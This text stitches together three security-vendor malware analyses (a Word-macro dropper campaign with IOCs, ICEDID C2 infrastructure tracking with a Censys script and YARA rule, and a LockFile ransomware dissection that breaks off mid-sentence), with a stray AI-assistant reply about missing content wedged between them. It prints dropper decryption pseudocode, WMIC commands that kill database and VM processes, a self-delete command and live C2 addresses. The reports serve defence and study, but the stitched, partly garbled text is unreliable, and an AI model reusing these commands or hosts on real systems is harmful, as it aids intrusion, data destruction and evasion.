actions from the script are summarized below: ``` size = last_dword_from_file; checksum = byte_before_size_dword; // read encrypted dropper in buffer for (key = 35, i = 0; i < size; i++) { buffer[i] = buffer[i] ^ key; key = (key ^ 217) ^ (i % 256); } for (sum = 0, i = 0; i < size; i++) { sum = sum ^ buffer[i]; } if (sum == checksum) { // write and execute the file in: // %appdata%\Microsoft\Word\MSWord.exe } ``` For the script to run, macros must be enabled in Word. As you can see in Appendix A, the content of the infected documents is designed to trick the user into enabling the macros. If the macros are enabled, the dropper is executed and opens another document, as expected by the user. For example, if the infected document says it is a “protected” document and you must enable macros to view it, then the dropper will open another document with an invitation to a conference as the “protected” document. In Appendix B, you can find some examples of these “pacifier” documents; these are clean and contain no scripts or executables. ### Trojan Component The infected document dropper creates a chain of dropper files that lead to the final payload. The functionality on 32-bit Windows includes various components that interact with legitimate processes to maintain stealth. ### The Dropper The script previously loaded from the infected .doc file executes the dropper from `%appdata%\Microsoft\Word\MSWord.exe`. The dropper is a small executable that has the files to be deployed in the overlay encrypted with RC4. It just creates and runs the following files in this order: - `%appdata%\TMP\European_global_navigation_system.doc` - `%appdata%\Axpim\ubfic.exe` - `%appdata%\Axpim\anfel.js` The file `European_global_navigation_system.doc` is a clean document used to distract the user. The file `ubfic.exe` is another dropper containing the real payload. The `anfel.js` file is used for self-deletion. The names: Axpim, ubfic, anfel are randomly generated. The folder name will contain 4-6 characters and starts with a capital letter. The file names contain 4-5 lowercase letters before the extension. The random generator is based on `GetTickCount` API. ### The Second Dropper The payload dropper, `ubfic.exe`, contains its files in its .data section and is not encrypted or compressed. It creates the files: - `%temp%\ntlm.exe` - `%temp%\msvci.dll` - `%temp%\msvcp.dll` - `%temp%\msvck.dll` - `%temp%\msvct.dll` - `%temp%\msvci.exe` (64 bit) - `%temp%\msvck60.dll` (64 bit) - `%temp%\msvct60.dll` (64 bit) These files make up the payload. The last three are for 64-bit Windows, the rest are for the 32-bit version. The starting point of the payload is the `ntlm.exe` file. The dropper modifies the .lnk files from the desktop and saves the original links in `%temp%\Links` folder. The links are modified to start the trojan. ### Functionality on 32-bit Windows - `ntlm.exe` – startup executable - `msvcp.dll` – get PID of `outlook.exe` - `msvci.dll` – inject `msvck.dll` in `outlook` process - `msvck.dll` – main backdoor - `msvct.dll` – C&C communication ### msvci.dll This library is used for injecting `msvck.dll` (the 32-bit backdoor) into a running 32-bit process. The library has one export `msvci`, which takes one parameter representing the PID of a running process. It allocates a small chunk of memory into that process (260 bytes). In this memory, it copies the path to the `msvck.dll` file, which is found in `%temp%\msvck.dll`. Then, from the current process, it gets the address of `LoadLibraryA` function and creates a remote thread in the target process starting at that address. ### msvct.dll 32-bit library contains functions for communicating with the C&C, using WinINet API. The backdoor does not contain any C&C addresses or networking logic; it just uses the exports from `msvct.dll`. ## 2014-15 Browser Extension ### The Infected Document The infection starts from a document `cv_Mate.Dimitrescu.doc`. The document is constructed in the same way as the documents containing the other variant of the malware. The script in it has the same functionality; it will create and execute the dropper `%appdata%\Microsoft\Word\MSWord.exe`. ### The Dropper The dropper looks the same as the other droppers, only smaller in size. The files that it contains are encrypted with RC4 in overlay. Only two files will be dropped: - `%appdata%\Aggea\ivotp.xpi` - `%appdata%\Aggea\ylir.js` The names Aggea, ivotp.xpi, ylir.js are randomly generated. No clean document is present in the dropper, and the initial infected document will not close. The JavaScript file is executed, installs the xpi file as an extension in Firefox, and then deletes the directory `%appdata%\Aggea\`. ### The Firefox Extension The extension file will be renamed to `{285364ef-e70c-4386-8e5c-2aa93a78daad}.xpi` then will be installed in Firefox. In the browser, it will appear with the name “langpack-en-GB 15.0.0.” We tested it in Firefox 35.0; in some newer versions, it didn’t work. In this version of the malware, the extension will work as the backdoor. ## Other 2015 Variants We found different versions of the files with almost identical functionality and only minor differences. The most notable difference is that C&C addresses vary. Another interesting fact is where the samples were spotted. ## 2016 Attack Wave In May 2016, we encountered a new wave of attacks. They came, at least in some known cases, as spear phishing emails containing various documents: topics like oil conferences, international politics, budget calculations, simple guidelines on how to interview for a job in foreign affairs. The attackers moved away from using documents containing macro scripts to employing a zip archive containing a JavaScript file that would in turn drop a clean document and the actual malware. The archived file has a double extension, something like `urgent-document.doc.js`. This method is probably more efficient, as the victim doesn’t have to enable macros in Word Viewer. ## IOCs ### File Paths - `%APPDATA%\Microsoft\Word\MSWord.exe` - `%APPDATA%\Axpim\ubfic.exe` (random) - `%APPDATA%\Axpim\anfel.js` (random) - `%TEMP%\ntlm.exe` - `%TEMP%\msvci.dll` - `%TEMP%\msvcp.dll` - `%TEMP%\msvck.dll` - `%TEMP%\msvct.dll` - `%TEMP%\msvci.exe` (64bit) - `%TEMP%\msvck60.dll` (64bit) - `%TEMP%\msvct60.dll` (64bit) ### Registry Paths - `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchostUpdate -> %TEMP%\ntlm.exe` - `HKLM\Software\Microsoft\Windows\CurrentVersion\Run\svchostUpdate -> %TEMP%\svchost.exe` ### Network Activity - `reckless.dk/wp-includes/class-pomo.php` - `fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php` ### SHA1 Hashes of All Known Variants - `0641f22e1b4e15cc23660b2e8bbf42623e997dfb` - `c4b06021c6c925c837dab3ba42c6b76eb77ad30b` - `0af1a6d6c487e78aa252ae2f5921606a8a379206` ## Clean Documents Opened by Droppers - Invitation to event organized by the UK embassy in Ashgabat. - Car for sale. - 23rd International Caspian Oil & Gas Conference. - Australia - Korea Foundation, foreign affairs position, interview guidelines. - International politics. - Budget plan template. Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors, and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology. All rights reserved. © 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners.
It seems there is no content provided for me to clean up and format. Please provide the text you would like me to process, and I'll be happy to assist!
# ICEDID's Network Infrastructure is Alive and Well ## Key Takeaways - ICEDID is a full-featured trojan that uses TLS certificate pinning to validate C2 infrastructure. - While the trojan has been tracked for several years, it continues to operate relatively unimpeded. - A combination of open source collection tools can be used to track the C2 infrastructure. ## Additional ICEDID Resources For information on the ICEDID configuration extractor and C2 infrastructure validator, check out our posts detailing this: - ICEDID configuration extractor - ICEDID network infrastructure checking utility ## Preamble ICEDID, also known as Bokbot, is a modular banking trojan first discovered in 2017 and has remained active over the last several years. It has been recently known more for its ability to load secondary payloads such as post-compromise frameworks like Cobalt Strike and has been linked to ransomware activity. ICEDID is implemented through a multistage process with different components. Initial access is typically gained through phishing campaigns leveraging malicious documents or file attachments. We’ll be discussing aspects of ICEDID in the next couple of sections as well as exploring our analysis technique in tracking ICEDID infrastructure. ### Initial Access ICEDID infections come in many different forms and have been adjusted using different techniques and novel execution chains to avoid detection and evade antimalware products. In this sample, ICEDID was delivered through a phishing email. The email contains a ZIP archive with an embedded ISO file. Inside the ISO file is a Windows shortcut (LNK) that, when double-clicked, executes the first stage ICEDID loader (DLL file). The Windows shortcut target value is configured to execute `%windir%\system32\rundll32.exe olasius.dll,PluginInit` calling the PluginInit export, which starts the initial stage of the ICEDID infection. This stage is responsible for decrypting the embedded configuration, downloading a GZIP payload from a C2 server, writing an encrypted payload to disk (license.dat), and transferring execution to the next stage. The first ICEDID stage starts off by deciphering an encrypted configuration blob of data stored within the DLL that is used to hold C2 domains and the campaign identifier. The first 32 bytes represent the XOR key; the encrypted data is then deciphered with this key. ### Command and Control ICEDID constructs the initial HTTP request using cookie parameters that contain hexadecimal data from the infected machine used for fingerprinting the victim machine. This request will proceed to download the GZIP payload irrespective of any previous identifying information. eSentire has published research that describes in detail how the `gads`, `gat`, `ga`, `u`, and `io` cookie parameters are created. Below are the cookie parameters and example associated values behind them. | Parameter | Example Data | Note | |-----------|--------------|------| | __gads | 3000901376:1:16212:134 | Contains ca flag, GetTick number of running processes | | __gat | 10.0.19044.64 | OS version, architecture | | __ga | 1.591594.1635208534.76 | Hypervisor/CPUID/Swit function | | __u | 4445534B544F502D4A4B4738455432:6A6F656C2E68656E646572736F6E:33413945354637303742414339393534 | Stores comp username, | | __io | 21_3990468985_3832573211_2062024380 | Security ID | | __gid | 006869A80704 | Encrypted M address | The downloaded GZIP payload contains a custom structure with a second loader (hollow.dat) and the encrypted ICEDID core payload (license.dat). These two files are written to disk and are used in combination to execute the core payload in memory. The next phase highlights a unique element with ICEDID in how it loads the core payload (license.dat) by using a custom header structure instead of the traditional PE header. Memory is allocated with the sections of the next payload looped over and placed into their own virtual memory space. This approach has been well documented and serves as a technique to obstruct analysis. Each section has its memory protection modified by the VirtualProtect function to enable read-only or read/write access to the committed region of memory using the PAGE_READWRITE constant. Once the image entry point is set up, the ICEDID core payload is then loaded by a call to the rax x86 register. ### Persistence ICEDID will attempt to set up persistence first using a scheduled task; if that fails, it will instead create a Windows Registry run key. Using the Bot ID and RDTSC instruction, a scheduled task or run key name is randomly generated. A scheduled task is created using taskschd.dll, configured to run at logon for the user, and is triggered every hour indefinitely. ### Core Functionality The core functionality of the ICEDID malware has been well documented and largely unchanged. To learn more about the core payload and functionality, check out the Malpedia page that includes a corpus of completed research on ICEDID. That said, we counted 23 modules during the time of our analysis including: - MitM proxy for stealing credentials - Backconnect module - Command execution (PowerShell, cmd) - Shellcode injection - Collecting: - Registry key data - Running processes - Credentials - Browser cookies - System information (network, anti-virus, host enumeration) - Searching and reading files - Directory/file listing on user’s Desktop ### ICEDID Configuration Extractor Elastic Security Labs has released an open source tool, under the Apache 2.0 license, that will allow for configurations to be extracted from ICEDID samples. ### TLS Certificate Pinning Previous research into the ICEDID malware family has highlighted a repetitive way in how the campaigns create their self-signed TLS certificates. Of particular note, this technique for creating TLS certificates has not been updated in approximately 18 months. While speculative in nature, this could be reflective of the fact that this C2 infrastructure is not widely tracked by threat data providers. This allows ICEDID to focus on updating the more transient elements of their campaigns (file hashes, C2 domains, and IP addresses). The team at Check Point published in-depth and articulate research on tracking ICEDID infrastructure using ICEDID’s TLS certificate pinning feature. Additionally, Check Point released a script that takes an IP address and port and validates the suspect TLS serial number against a value calculated by the ICEDID malware to confirm whether or not the IP address is currently using an ICEDID TLS certificate. ### Dataset As reported by Check Point, the TLS certificate information uses the same Issuer and Subject distinguished names to validate the C2 server before sending any data. To build our dataset, we used the Censys CLI tool to collect the certificate data. We needed to make a slight adjustment to the query from Check Point research, but the results were similar. This provided us with 113 IP addresses that were using certificates we could begin to attribute to ICEDID campaigns. ### JARM / JA3S When looking at the data from Censys, we also identified other fields that are useful in tracking TLS communications: JARM and JA3S, both TLS fingerprinting tools from the Salesforce team. At a high level, JARM fingerprints TLS servers by actively collecting specific elements of the TLS Server Hello responses. JA3S passively collects values from the TLS Server Hello message. JARM and JA3S are represented as a 62-character or 32-character fingerprint, respectively. JARM and JA3S add additional data points that improve our confidence in connecting the ICEDID C2 infrastructure. In our research, we identified `2ad2ad16d2ad2ad22c2ad2ad2ad2adc110bab2c0a19e5d4e587c17ce497b15` as the JARM and `e35df3e00ca4ef31d42b34bebaa2f86e` as the JA3S fingerprints. It should be noted that JARM and JA3S are frequently not uncommon enough to convict a host by themselves. As an example, in the Censys dataset, the JARM fingerprint identified over 15k hosts, and the JA3S fingerprint identified over 3.3M hosts. Looking at the JARM and JA3S values together still had approximately 8k hosts. These are data points on the journey to an answer, not the answer itself. ### ICEDID Implant Defense Before ICEDID communicates with its C2 server, it performs a TLS certificate check by comparing the certificate serial number with a hash of the certificate's public key. As certificate serial numbers should all be unique, ICEDID uses a self-signed certificate and an expected certificate serial number as a way to validate the TLS certificate. If the hash of the public key and serial number do not match, the communication with the C2 server does not proceed. We used the Check Point Python script (which returns a true or false result for each passed IP address) to perform an additional check to improve our confidence that the IP addresses were part of the ICEDID C2 infrastructure and not simply a coincidence in having the same subject and issuer information of the ICEDID TLS certifications. A true result has a matching ICEDID fingerprint and a false result does not. This resulted in 103 IPs that were confirmed as having an ICEDID TLS certificate and 10 that did not (as of October 14, 2022). ### Importing into Elasticsearch Now that we have a way to collect IPs based on the TLS certificate elements and a way to add additional context to aid in conviction, we can wrap the logic in a Bash script as a way to automate this process and parse the data for analysis in Elasticsearch. ```bash #!/bin/bash -eu set -o pipefail SEARCH='services.tls.certificates.leaf_data.subject_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.tls.certificates.leaf_data.issuer_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.port=443' while read -r line; do _ts=$(date -u +%FT%TZ) _ip=$(echo ${line} | base64 -d | jq '.ip' -r) _port=$(echo ${line} | base64 -d | jq '.port' -r) _view=$(censys view "${_ip}" | jq -c) _is_icedid=$(python3 -c "import icedid_checker; print(icedid_checker.test_is_icedid_c2('${_ip}','${_port}'))") echo "${_view}" | jq -S --arg is_icedid "${_is_icedid}" --arg timestamp "${_ts}" '. + {"@timestamp": $timestamp, "threat": {"software": {"icedid": {"present": $is_icedid}}}}' done < <(censys search --pages=-1 "${SEARCH}" | jq '.[] | {"ip": .ip, "port": (.services[] | select(.certificate?).port)} | @base64' -r) | tee icedid_infrastructure.ndjson ``` This outputs the data as an NDJSON document called `icedid_infrastructure.ndjson` that we can upload into Elasticsearch. ### Identified ICEDID IP Infrastructure In the above image, we can see that there are hosts that have the identified JARM fingerprint, the identified TLS issuer and subject elements, but did not pass the Check Point validation check. Additionally, one of the two hosts has a different JA3S fingerprint. This highlights the value of the combination of multiple data sources to inform confidence scoring. We are also providing this script for others to use. ### Observed Adversary Tactics and Techniques Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. As stated above, ICEDID has been extensively analyzed, so below we are listing the tactics and techniques that we observed and are covered in this research publication. If you’re interested in the full set of MITRE ATT&CK tactics and techniques, you can check out MITRE’s page on ICEDID. ### Detections and Preventions **Preventions** - Malicious Behavior Detection Alert: Command Shell Activity - Memory Threat Detection Alert: Shellcode Injection - Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32 - Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process - Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments - Malicious Behavior Detection Alert: Windows Script Execution from Archive File ### YARA Elastic Security has created YARA rules to identify this activity. Below is a YARA rule specifically to identify the TLS certificate pinning function used by ICEDID. ```yara rule Windows_Trojan_IcedID_cert_pinning { meta: author = "Elastic Security" creation_date = "2022-10-17" last_modified = "2022-10-17" threat_name = "Windows.Trojan.IcedID" arch_context = "x86" license = "Elastic License v2" os = "windows" strings: $cert_pinning = { 74 ?? 8B 50 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F BA F0 ?? 48 8B 51 ?? 48 8B 4A ?? 39 01 74 ?? 35 14 24 4A 38 39 01 74 ?? } condition: $cert_pinning } ``` ### Indicators The indicators observed in this research are posted below. All artifacts (to include those discovered through TLS certificate pinning) are also available for download in both ECS and STIX format in a combined zip bundle. | Indicator | Type | Note | |-----------|------|------| | db91742b64c866df2fc7445a4879ec5fc256319e234b1ac5a25589455b2d9e32 | SHA256 | ICEDID malware | | yolneanz[.]com | domain | ICEDID C2 domain | | 51.89.190[.]220 | ipv4-addr | ICEDID C2 IP address |
# LockFile Ransomware’s Box of Tricks: Intermittent Encryption and Evasion **Mark Loman** **August 27, 2021** LockFile is a new ransomware family that emerged in July 2021 following the discovery in April 2021 of the ProxyShell vulnerabilities in Microsoft Exchange servers. LockFile ransomware appears to exploit the ProxyShell vulnerabilities to breach targets with unpatched, on-premises Microsoft Exchange servers, followed by a PetitPotam NTLM relay attack to seize control of the domain. In this detailed analysis of the LockFile ransomware, we reveal its novel approach to file encryption and how the ransomware tries to bypass behavior and statistics-based ransomware protection. LockFile ransomware encrypts every 16 bytes of a file. We call this “intermittent encryption,” and this is the first time Sophos researchers have seen this approach used. Intermittent encryption helps the ransomware to evade detection by some ransomware protection solutions because an encrypted document looks statistically very similar to the unencrypted original. Like WastedLocker and Maze ransomware, LockFile ransomware uses memory-mapped input/output (I/O) to encrypt a file. This technique allows the ransomware to transparently encrypt cached documents in memory and causes the operating system to write the encrypted documents, with minimal disk I/O that detection technologies would spot. The ransomware doesn’t need to connect to a command-and-control center to communicate, which also helps to keep its activities under the detection radar. Additionally, LockFile renames encrypted documents to lower case and adds a .lockfile file extension, and its HTA ransom note looks very similar to that of LockBit 2.0. Sophos Intercept X comprises multiple detection layers and methods of analysis. This threat was discovered and stopped on day zero by Intercept X’s signature-agnostic CryptoGuard ransomware protection engine. It is also detected via behavior-based memory detection as Impact_4a (mem/lockfile-a). ## Dissection 101 The Sophos research is based on a LockFile sample with the SHA-256 hash: bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce. This file can be found on VirusTotal. If you load this sample in Ghidra, you will notice it only has three functions and three sections. ### Three functions ### Three sections The binary appears to be dual packed by UPX and malformed to throw off static analysis by endpoint protection software. Also, the original section names were altered from UPX0 and UPX1 into OPEN and CLSE. The first section, named OPEN, has a size of 592 KB (0x94000) but contains no data – only zeroes. The second section, CLSE, has a size of 286 KB (0x43000), and the three functions are in the last page of this section. The rest of the data is encoded code that is decoded later and placed in the ‘OPEN’ section. The entry() function is simple and calls FUN_1400d71c0(): ### Simple entry The FUN_1400d71c0() function decodes the data from the CLSE section and puts it in the OPEN section. It also resolves the necessary DLLs and functions. Then it manipulates the IMAGE_SCN_CNT_UNINITIALIZED_DATA values and jumps to the code placed in the OPEN section. ### Analyzing the OPEN Section Because the rest of the code is unpacked in the OPEN section, i.e., it is runtime generated, we used WinDbg and .writemem to write the OPEN section to disk, so we can analyze the code statically in Ghidra, e.g.: ``` .writemem c:\[redacted]\LockFile\sec_open.bin lockfileexe+1000 L94000 ``` After loading the file into Ghidra for analysis, we find a main start function: ### The main function is the C runtime library This is CRT, the C runtime library, not the real main function we’re looking for. However, after digging around we find it: ### Finding the real main function We rename it to main_000861() and keep the address on hand so we can use it for reference when debugging in WinDbg. The first part initializes a crypto library: ### Initializing the crypto library We find strings in the code, such as ‘Cryptographic algorithms are disabled after’ that are also used in this freely available Crypto++ Library on GitHub, so it is safe to assume that LockFile ransomware leverages this library for its encryption functions. It then creates a mutex, to prevent the ransomware from running twice at the same time: ### Creating mutex Terminating critical business processes Then a string is decoded, which is a parameter for the system() call at line 161. ### Encoded string containing a list of business critical processes to terminate The string is a parameter for the system() call at line 161. This terminates all processes with vmwp in their name. To do this, the Windows Management Interface (WMI) command-line tool WMIC.EXE, which is part of every Windows installation, is leveraged. This action is repeated for other business critical processes associated with virtualization software and databases: | Process | Command | |------------------------------------------------------|------------------------------------------------------| | Hyper-V virtual machines | wmic process where “name like ‘%vmwp%'” call terminate | | Oracle VM Virtual Box manager | wmic process where “name like ‘%virtualbox%'” call terminate | | Oracle VM Virtual Box services | wmic process where “name like ‘%vbox%'” call terminate | | Microsoft SQL Server, also used by SharePoint, Exchange | wmic process where “name like ‘%sqlservr%'” call terminate | | MySQL database | wmic process where “name like ‘%mysqld%'” call terminate | | Oracle MTS Recovery Service | wmic process where “name like ‘%omtsreco%'” call terminate | | Oracle RDBMS Kernel | wmic process where “name like ‘%oracle%'” call terminate | | Oracle TNS Listener | wmic process where “name like ‘%tnslsnr%'” call terminate | | VMware virtual machines | wmic process where “name like ‘%vmware%'” call terminate | By leveraging WMI, the ransomware itself is not directly associated with the abrupt termination of these typical business critical processes. Terminating these processes will ensure that any locks on associated files/databases are released, so that these objects are ready for malicious encryption. The code continues to retrieve all drive letters with GetLogicalDriveString() at line 692 and iterates through them. ### LockFile creates another thread for each drive In the loop, it determines the drive type via GetDriveType(). When this is a fixed disk (type three = DRIVE_FIXED at line 703), it spawns a new thread (at lines 705, 706), with the function 0x7f00 as the start address. ### Ransom note is an HTML application The function at 0x7f00 first creates the HTA ransom note, e.g., ‘LOCKFILE-README-[hostname]-[id].hta’ in the root of the drive. Instead of dropping a note in TXT format, LockFile formats its ransom note as a HTML Application (HTA) file. Interestingly, the HTA ransom note used by LockFile closely resembles the one used by LockBit 2.0 ransomware: In its ransom note, the LockFile adversary asks victims to contact a specific e-mail address: contact@contipauper.com. The domain name used, ‘contipauper.com’ appears to be a derogatory reference to a competing ransomware group called Conti. The domain name seems to have been created on August 16, 2021. ### Encrypting directories Then EncryptDir_00007820() is called at line six. The first part of the encrypt directory function is not very noteworthy: But the second part is: The ransomware uses FindFirstFile() at line 63 and FindNextFile() at line 129 to iterate through the directory in param_1. In the first part (lines 66-91), it checks if the filename does not contain: - “.lockfile” - “\Windows” - “LOCKFILE” - “NTUSER” Then it runs through two lists of known file type extensions of documents it doesn’t attack (lines 92-102). **List 1:** .a3l .a3m .a4l .a4p .a5l .abk .abs .acp .ada .adb .add .adf .adi .adm .adp .adr .ads .af2 .afm .aif .aifc .aiff .aim .ais .akw .alaw .tlog .vsix .pch .json .nupkg .pdb .ipdb .alb .all .ams .anc .ani .ans .api .aps .arc .ari .arj .art .asa .asc .asd .ase .asf .xaml .aso .asp .ast .asv .asx .ico .rll .ado .jsonlz4 .cat .gds .atw .avb .avi .avr .avs .awd .awr .axx .bas .bdf .bgl .bif .biff .bks .bmi .bmk .book .box .bpl .bqy .brx .bs1 .bsc .bsp .btm .bud .bun .bw .bwv .byu .c0l .cal .cam .cap .cas .cat .cca .ccb .cch .ccm .cco .cct .cda .cdf .cdi .cdm .cdt .cdx .cel .cfb .cfg .cfm .cgi .cgm .chk .chp .chr .cht .cif .cil .cim .cin .ck1 .ck2 .ck3 .ck4 .ck5 .ck6 .class .cll .clp .cls .cmd .cmf .cmg .cmp .cmv .cmx .cnf .cnm .cnq .cnt .cob .cpd .cpi .cpl .cpo .cpr .cpx .crd .crp .csc .csp .css .ctl .cue .cur .cut .cwk .cws .cxt .d64 .dbc .dbx .dc5 .dcm .dcr .dcs .dct .dcu .dcx .ddf .ddif .def .defi .dem .der .dewf .dib .dic .dif .dig .dir .diz .dlg .dll .dls .dmd .dmf .dpl .dpr .drv .drw .dsf .dsg .dsm .dsp .dsq .dst .dsw .dta .dtf .dtm .dun .dwd .dwg .dxf .dxr .eda .edd .ede .edk .edq .eds .edv .efa .efe .efk .efq .efs .efv .emd .emf .eml .enc .enff .ephtml .eps .epsf .epx .eri .err .esps .eui .evy .ewl .exc .exe .f2r .f3r .f77 .f90 .far .fav .fax .fbk .fcd .fdb .fdf .fft .fif .fig .fits .fla .flc .flf .flt .fmb .fml .fmt .fnd .fng .fnk .fog .fon .for .fot .fp1 .fp3 .fpt .frt .frx .fsf .fsl .fsm .ftg .fts .fw2 .fw3 .fw4 .fxp .fzb .fzf .fzv .gal .gdb .gdm .ged .gen .getright .gfc .gfi .gfx .gho .gid .gif .gim .gix .gkh .gks .gna .gnt .gnx .gra .grd .grf .grp .gsm .gt2 .gtk .gwx .gwz .hcm .hcom .hcr .hdf .hed .hel .hex .hgl .hlp .hog .hpj .hpp .hqx .hst .htt .htx .hxm .ica .icb .icc .icl .icm .idb .idd .idf .idq .idx .iff .igf .iif .ima .imz .inc .inf .ini .ins .int .iso .isp .ist .isu .its .ivd .ivp .ivt .ivx .iwc .j62 .java .jbf .jmp .jn1 .jtf .k25 .kar .kdc .key .kfx .kiz .kkw .kmp .kqp .kr1 .krz .ksf .lab .ldb .ldl .leg .les .lft .lgo .lha .lib .lin .lis .lnk .log .llx .lpd .lrc .lsl .lsp .lst .lwlo .lwob .lwp .lwsc .lyr .lzh .lzs .m1v .m3d .m3u .mac .magic .mak .mam .man .map .maq .mar .mas .mat .maud .maz .mb1 .mbox .mbx .mcc .mcp .mcr .mcw .mda .mdb .mde .mdl .mdn .mdw .mdz .med .mer .met .mfg .mgf .mic .mid .mif .miff .mim .mli .mmf .mmg .mmm .mmp .mn2 .mnd .mng .mnt .mnu .mod .mov .mp2 .mpa .mpe .mpp .mpr .mri .msa .msdl .msg .msn .msp .mst .mtm .mul .mus .mus10 .mvb .nan .nap .ncb .ncd .ncf .ndo .nff .nft .nil .nist .nlb .nlm .nls .nlu .nod .ns2 .nsf .nso .nst .ntf .ntx .nwc .nws .o01 .obd .obj .obz .ocx .ods .off .ofn .oft .okt .olb .ole .oogl .opl .opo .opt .opx .or2 .or3 .ora .orc .org .oss .ost .otl .out .p10 .p3 .p65 .p7c .pab .pac .pak .pal .part .pas .pat .pbd .pbf .pbk .pbl .pbm .pbr .pcd .pce .pcl .pcm .pcp .pcs .pct .pcx .pdb .pdd .pdp .pdq .pds .pf .pfa .pfb .pfc .pfm .pgd .pgl .pgm .pgp .pict .pif .pin .pix .pjx .pkg .pkr .plg .pli .plm .pls .plt .pm5 .pm6 .pog .pol .pop .pot .pov .pp4 .ppa .ppf .ppm .ppp .pqi .prc .pre .prf .prj .prn .prp .prs .prt .prv .psb .psi .psm .psp .ptd .ptm .pwl .pwp .pwz .qad .qbw .qd3d .qdt .qfl .qic .qif .qlb .qry .qst .qti .qtp .qts .qtx .qxd .ram .ras .rbh .rcc .rdf .rdl .rec .reg .rep .res .rft .rgb .rmd .rmf .rmi .rom .rov .rpm .rpt .rrs .rsl .rsm .rtk .rtm .rts .rul .rvp .s3i .s3m .sam .sav .sbk .sbl .sc2 .sc3 .scc .scd .scf .sci .scn .scp .scr .sct01 .scv .sd2 .sdf .sdk .sdl .sdr .sds .sdt .sdv .sdw .sdx .sea .sep .ses .sf .sf2 .sfd .sfi .sfr .sfw .shw .sig .sit .siz .ska .skl .slb .sld .slk .sm3 .smp .snd .sndr .sndt .sou .spd .spl .sqc .sqr .ssd .ssf .st .stl .stm .str .sty .svx .swa .swf .swp .sys .syw .t2t .t64 .taz .tbk .tcl .tdb .tex .tga .tgz .tig .tlb .tle .tmp .toc .tol .tos .tpl .tpp .trk .trm .trn .ttf .tz .uwf .v8 .vap .vbp .vbw .vbx .vce .vcf .vct .vda .vi .viff .vir .viv .vqe .vqf .vrf .vrml .vsd .vsl .vsn .vst .vsw .vxd .wcm .wdb .wdg .web .wfb .wfd .wfm .wfn .xml .acc .adt .adts .avi .bat .bmp .cab .cpl .dll .exe .flv .gif .ini .iso .jpeg .jpg .m4a .mov .mp3 .mp4 .mpeg .msi .mui .php .png .sys .wmv .xml **List 2:** .acc .adt .adts .avi .bat .bmp .cab .cpl .dll .exe .flv .gif .ini .iso .jpeg .jpg .m4a .mov .mp3 .mp4 .mpeg .msi .mui .php Note: Interestingly, this ransomware doesn’t attack JPG image files, like photos. If the file extension of a found document is not on the list, the code concatenates the filename and path (line 103) and calls EncryptFile_00007360() to encrypt the document. ### Encrypting a document via memory mapped I/O The document is first opened at line 164 and at line 177 the function CreateFileMapping() maps the document into memory. At line 181, lVar17 points to the now memory mapped document. The code continues by appending the decryption blob to the end of the document in memory. Here is an example of a test document comprising the character ‘a’ (0x61), 128 times: ### Test document consisting of 128 times the character ‘a’ (0x61) After the decryption blob is added, the memory mapped document now looks like this: ### Decryption blob is appended to the memory mapped test document Further on, the document gets encrypted, 16 bytes at the time, via function EncryptBuffer_0002cbf4() at line 271: ### 16 bytes intermittent encryption EncryptBuffer_0002cbf4() encrypts 16 bytes in the received buffer lVar15. This is set to lVar7 at line 268, which points to the memory mapped document. Interestingly, it then adds 0x20 (32 bytes) to lVar15, skipping 16 bytes. This makes the encryption intermittent: ### The memory mapped test document after one pass ### The memory mapped test document after a second pass ### The memory mapped test document after all bytes were processed The notable feature of this ransomware is not the fact that it implements partial encryption. LockBit 2.0, DarkSide and BlackMatter ransomware, for example, are all known to encrypt only part of the documents they attack (in their case the first 4,096 bytes, 512 KB and 1 MB respectively,) just to finish the encryption stage of the attack faster. What sets LockFile apart is that it doesn’t encrypt the first few blocks. Instead, LockFile encrypts every other 16 bytes of a document. This means that a text document, for instance, remains partially readable. There is an intriguing advantage to taking this approach: intermittent encryption skews statistical analysis and that confuses some protection technologies. ### Evading ransomware protection by skewing statistical analysis The intermittent encryption approach adopted by LockFile skews analysis such as the chi-squared (chi^2) used by some ransomware protection software. An unencrypted text file of 481 KB (say, a book) has a chi^2 score of 3850061. If the document was encrypted by DarkSide ransomware, it would have a chi^2 score of 334 – which is a clear indication that the document has been encrypted. If the same document is encrypted by LockFile ransomware, it would still have a significantly high chi^2 score of 1789811. The following graphical representations (byte/character distribution) show the same text document encrypted by DarkSide and LockFile. ### Original text document ### Text document encrypted by DarkSide ### Text document encrypted by LockFile As you can see, the graphical representation of the text document encrypted by LockFile looks very similar to the original. This trick will be successful against ransomware protection software that performs content inspection with statistical analysis to detect encryption. We haven’t seen intermittent encryption used before in ransomware attacks. ### Persisting the encrypted document to disk After the encryption, the document is closed (line 279-281) and the file is moved (renamed): The string ‘%s.lockfile is decoded (in lines 284-298) and then passed to the sprintf() function at line 300 to append ‘.lockfile’ to the filename. In line 301 the original filename is changed to the new filename. Interestingly, the file is renamed to lower case and it is unlikely that a LockFile decrypter would be able to restore the filename to its original state, i.e., upper casing in the filename is lost forever. Since the attack leverages CreateFileMapping(), the encrypted memory mapped document is written (persisted) to disk by the Windows System process, PID 4. This can be witnessed via Sysinternals Process Monitor. In the figure below we removed the Process Monitor filter that excludes activity by the System process (PID 4): By leveraging memory mapped I/O, ransomware can more quickly access documents that were cached and let the Windows System process perform the write action. By letting the System process perform the WriteFile operation, the actual encrypted bytes are written by the operating system itself – disjoined from the actual malicious process. In the example above, this happens six seconds after the ransomware encrypts the document, but on large systems this delay can extend to minutes. This trick alone can be successful in evading detection by some behavior-based anti-ransomware solutions. The use of memory mapped I/O is not common among ransomware families, although it was used by the Maze ransomware and by the (less frequently seen) WastedLocker ransomware. ### No ransomware to remove Once it has encrypted all the documents on the machine, the ransomware deletes itself with the following command: ``` cmd /c ping 127.0.0.1 -n 5 && del “C:\Users\Mark\Desktop\LockFile.exe” && exit ``` The PING command sends five ICMP messages 